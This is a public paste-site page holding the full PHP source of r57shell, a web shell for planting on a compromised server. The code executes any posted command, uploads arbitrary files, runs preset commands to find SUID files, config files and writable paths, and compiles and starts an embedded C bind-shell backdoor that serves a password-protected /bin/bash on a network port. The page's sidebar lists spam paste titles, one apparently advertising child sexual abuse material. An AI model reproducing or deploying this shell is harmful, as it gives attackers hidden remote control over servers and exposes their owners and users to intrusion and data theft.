nopaste
HomeAll pastesPopular pastesRecent pastes

Public paste
R57
By: niels | Date: Jan 28 2007 14:04 | Format: PHP | Expires: never | Size: 9.51 KB | Hits: 1828
Edit & repaste | raw paste | Request removal

  1. <?php
  2.  
  3.  
  6.  
  7.  
  8. /*
  9. Âûáîð ÿçûêà
  10. $language='ru' - ðóññêèé
  11. $language='eng' - àíãëèéñêèé
  12. */
  13.  
  14. $language='eng';
  15.  
  16. $lang=array(
  17.            'ru_text1' => 'Âûïîëíåííàÿ êîìàíäà',
  18.            'ru_text2' => 'Âûïîëíåíèå êîìàíä íà ñåðâåðå',
  19.            'ru_text3' => 'Âûïîëíèòü êîìàíäó',
  20.            'ru_text4' => 'Ðàáî÷àÿ äèðåêòîðèÿ',
  21.            'ru_text5' => 'Çàãðóçêà ôàéëîâ íà ñåðâåð',
  22.            'ru_text6' => 'Ëîêàëüíûé ôàéë',
  23.            'ru_text7' => 'Àëèàñû',
  24.            'ru_text8' => 'Âûáåðèòå àëèàñ',
  25.            'ru_butt1' => 'Âûïîëíèòü',
  26.            'ru_butt2' => 'Çàãðóçèòü',
  27.            'ru_text9' => 'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash',
  28.            'ru_text10' => 'Îòêðûòü ïîðò',
  29.            'ru_text11' => 'Ïàðîëü äëÿ äîñòóïà',
  30.            'ru_butt3' => 'Îòêðûòü',
  31.            
  32.            'eng_text1' => 'Executed command',
  33.            'eng_text2' => 'Execute command on server',
  34.            'eng_text3' => '&nbsp;Run command',
  35.            'eng_text4' => 'Work directory',
  36.            'eng_text5' => 'Upload files on server',
  37.            'eng_text6' => 'Local file',
  38.            'eng_text7' => 'Aliases',
  39.            'eng_text8' => 'Select alias',
  40.            'eng_butt1' => 'Execute',
  41.            'eng_butt2' => 'Upload',
  42.            'eng_text9' => 'Bind port to /bin/bash',
  43.            'eng_text10' => 'Port',
  44.            'eng_text11' => 'Password for access',
  45.            'eng_butt3' => 'Bind'
  46.            );
  47.  
  48.  
  49.  
  50.  
  51.  
  52. $aliases=array(
  53. 'find all suid files' => 'find / -type f -perm -04000 -ls',
  54.  
  55. 'find all sgid files' => 'find / -type f -perm -02000 -ls',
  56.  
  57. 'find config.inc.php files' => 'find / -type f -name config.inc.php',
  58.  
  59. 'find writable directories and files' => 'find / -perm -2 -ls',
  60. '----------------------------------------------------------------------------------------------------' => 'ls -la'
  61. );
  62.  
  63. $port_bind_bd_c="
  64. #include <stdio.h>
  65. #include <string.h>
  66. #include <sys/types.h>
  67. #include <sys/socket.h>
  68. #include <netinet/in.h>
  69. #include <errno.h>
  70. int main(argc,argv)
  71. int argc;
  72. char **argv;
  73. {
  74. int sockfd, newfd;
  75. char buf[30];
  76. struct sockaddr_in remote;
  77. if(argc < 3) usage(argv[0]);
  78. if(fork() == 0) { // Îòâåòâëÿåì íîâûé ïðîöåññ
  79. remote.sin_family = AF_INET;
  80. remote.sin_port = htons(atoi(argv[1]));
  81. remote.sin_addr.s_addr = htonl(INADDR_ANY);
  82. sockfd = socket(AF_INET,SOCK_STREAM,0);
  83. if(!sockfd) perror("socket error");
  84. bind(sockfd, (struct sockaddr *)&remote, 0x10);
  85. listen(sockfd, 5);
  86. while(1)
  87. {
  88. newfd=accept(sockfd,0,0);
  89. dup2(newfd,0);
  90. dup2(newfd,1);
  91. dup2(newfd,2);
  92. write(newfd,"Password:",10);
  93. read(newfd,buf,sizeof(buf));
  94. if (!chpass(argv[2],buf))
  95. system("echo welcome to r57 shell && /bin/bash -i");
  96. else
  97. fprintf(stderr,"Sorry");
  98. close(newfd);
  99. }
  100. }
  101. }
  102. int usage(char *progname)
  103. {
  104. fprintf(stderr,"USAGE:%s <port num> <password>\n",progname);
  105. exit(0);
  106. }
  107. int chpass(char *base, char *entered) {
  108. int i;
  109. for(i=0;i<strlen(entered);i++)
  110. {
  111. if(entered[i] == '\n')
  112. entered[i] = '\0';
  113. }
  114. if (!strcmp(base,entered))
  115. return 0;
  116. }";
  117.  
  118. ?>
  119. <html>
  120. <head>
  121. </head>
  122. <body bgcolor="#e4e0d8">
  123. <table width=100%cellpadding=0 cellspacing=0 bgcolor=#000000>
  124. <tr><td bgcolor=#cccccc>
  125. <!-- logo -->
  126. <font face=Verdana size=2>&nbsp;&nbsp;
  127. <font face=Webdings size=6><b>!</b></font><b>&nbsp;&nbsp;r57shell</b>
  128. </font>
  129. </td></tr><table>
  130. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  131. <tr><td align=right width=100>
  132. <?
  133. /* change dir */
  134. if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); }
  135. /* display information */
  136. echo "<font face=Verdana size=-2>";
  137. echo "<font color=blue><b>uname -a :&nbsp;<br>id :&nbsp;<br>pwd :&nbsp;</b></font><br>";
  138. echo "</td><td>";
  139. echo "<font face=Verdana size=-2 color=red><b>";
  140. echo "&nbsp;&nbsp;&nbsp; ".exec("uname -a")."<br>";
  141. echo "&nbsp;&nbsp;&nbsp; ".exec("id")."<br>";
  142. echo "&nbsp;&nbsp;&nbsp; ".exec("pwd")."";
  143. echo "</b></font>";
  144. echo "</font>";
  145. ?>
  146. </td></tr></table>
  147. <?
  148. /* port bind */
  149. if (($_POST['bind']) AND ($_POST['bind']=="bd.c") AND ($_POST['port']) AND ($_POST['bind_pass']))
  150. {
  151.  $w_file=fopen("/tmp/bd.c","ab+") or exit();
  152.  fputs($w_file,$port_bind_bd_c);
  153.  fclose($w_file);
  154.  $blah=exec("gcc -o /tmp/bd /tmp/bd.c");
  155.  $bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']."";
  156.  $blah=exec($bind_string);
  157.  $_POST['cmd']="ps -aux | grep bd";
  158. }
  159.  
  160. if (($_POST['alias']) AND ($_POST['alias']!==""))
  161.  {
  162.  foreach ($aliases as $alias_name=>$alias_cmd) {
  163.                                                if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;}
  164.                                                }
  165.  }
  166.  
  167. if (($HTTP_POST_FILES["userfile"]!=="") AND ($HTTP_POST_FILES["userfile"]))
  168. {
  169. copy($HTTP_POST_FILES["userfile"][tmp_name],
  170.             $_POST['dir']."/".$HTTP_POST_FILES["userfile"][name])
  171.       or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES["userfile"][name]."</div></font></td></tr></table>");
  172. }
  173. ?>
  174. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  175. <tr><td bgcolor=#cccccc>
  176. <?
  177. /* command execute */
  178. if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="ls -la"; }
  179. echo "<font face=Verdana size=-2>".$lang[$language._text1].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td>";
  180. echo "<b>";
  181. echo "<div align=center><textarea name=report cols=122 rows=15>";
  182. echo "".passthru($_POST['cmd'])."";
  183. echo "</textarea></div>";
  184. echo "</b>";
  185. ?>
  186. </td></tr></table>
  187. <table width=100% heigth=0 cellpadding=0 cellspacing=0 bgcolor=#000000>
  188. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text2]; ?> ::</div></b></font></td></tr>
  189. <tr><td height=23>
  190. <?
  191. /* command execute form */
  192. echo "<form name=command method=post>";
  193. echo "<font face=Verdana size=-2>";
  194. echo "<b>&nbsp;".$lang[$language._text3]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  195. echo "<input type=text name=cmd size=85>&nbsp;&nbsp;<br>";
  196. echo "<b>&nbsp;".$lang[$language._text4]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  197. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; }
  198. else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; }
  199. echo "&nbsp;&nbsp;<input type=submit name=submit value=" ".$lang[$language._butt1]." ">";
  200. echo "</font>";
  201. echo "</form>";
  202. ?>
  203. </td></tr></table>
  204. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  205. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text5]; ?> ::</div></b></font></td></tr>
  206. <tr><td>
  207. <?
  208. /* file upload form */
  209. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  210. echo "<font face=Verdana size=-2>";
  211. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text6]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  212. echo "<input type=file name=userfile size=85>&nbsp;";
  213. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
  214. else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
  215. echo "<input type=submit name=submit value=" ".$lang[$language._butt2]." ">";
  216. echo "</font>";
  217. echo "</form>";
  218. ?>
  219. </td></tr></table>
  220. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  221. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text7]; ?> ::</div></b></font></td></tr>
  222. <tr><td>
  223. <?
  224. /* aliases form */
  225. echo "<form name=aliases method=POST>";
  226. echo "<font face=Verdana size=-2>";
  227. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text8]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  228. echo "<select name=alias>";
  229. foreach ($aliases as $alias_name=>$alias_cmd)
  230.  {
  231.  echo "<option>$alias_name</option>";
  232.  }
  233.  echo "</select>";
  234. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
  235. else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
  236. echo "&nbsp;&nbsp;<input type=submit name=submit value=" ".$lang[$language._butt1]." ">";
  237. echo "</font>";
  238. echo "</form>";
  239. ?>
  240. </td></tr></table>
  241.  
  242.  
  243. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  244. <tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text9]; ?> ::</div></b></font></td></tr>
  245. <tr><td>
  246. <?
  247. echo "<form name=bind method=POST>";
  248. echo "<font face=Verdana size=-2>";
  249. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text10]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  250. echo "<input type=text name=port size=15 value=11457>&nbsp;";
  251. echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text11]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
  252. echo "<input type=text name=bind_pass size=15 value=r57>&nbsp;";
  253. if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
  254. else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
  255. echo "<input type=hidden name=bind size=1 value=bd.c>";
  256. echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=submit value=" ".$lang[$language._butt3]." ">";
  257. echo "</font>";
  258. echo "</form>";
  259. ?>
  260. </td></tr></table>
  261.  
  262.  
  263.  
  264.  
  265. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  266. <tr><td bgcolor=#cccccc>
  267.  
  268. </td></tr></table>
  269.  
Latest pastes
how safe is it to buy clomid online
2 hours ago
ZennoProxyChecker - software for performing checks of proxies across many parameters.
1 days ago
4 FULL HD VIDEOS GREAT COLLECTION EXCLUSIVE XXX CONTENT 1080P
1 days ago
C.H.I.L.Ds Videos-Pictures Octo 6
2 days ago
Изготовление квадратных номеров
2 days ago

What's new | Credits | Contact